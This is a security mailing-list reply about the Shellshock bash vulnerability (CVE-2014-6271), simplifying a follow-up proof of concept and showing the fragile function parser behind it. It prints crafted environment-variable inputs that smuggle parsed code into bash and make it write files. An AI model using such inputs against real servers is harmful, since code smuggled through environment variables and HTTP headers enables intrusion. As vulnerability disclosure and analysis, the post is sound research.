Re: CVE-2014-6271: remote code execution through bash

[Michal Zalewski <lcamtuf () coredump cx>]

> Tavis Ormandy just tweetet this:
> https://twitter.com/taviso/status/514887394294652929

> $ env X='() { (a)=>\' sh -c "echo date"; cat echo

This can be simplified as:

$ X='() { function a a>\' bash -c echo
$ ls echo
echo

And the core parsing problem is illustrated by this:

$ function a a>\ [RETURN]
> foo
$ whatever
$ ls
whatever

Tavis and I spent a fair amount of time trying to figure out if this
poses a more immediate risk, but so far, no dice. It strongly suggests
that the parser is fragile and that there may be unexpected side
effects, though; parsing functions seen in HTTP_* and such seems like
a very risky proposition.

/mz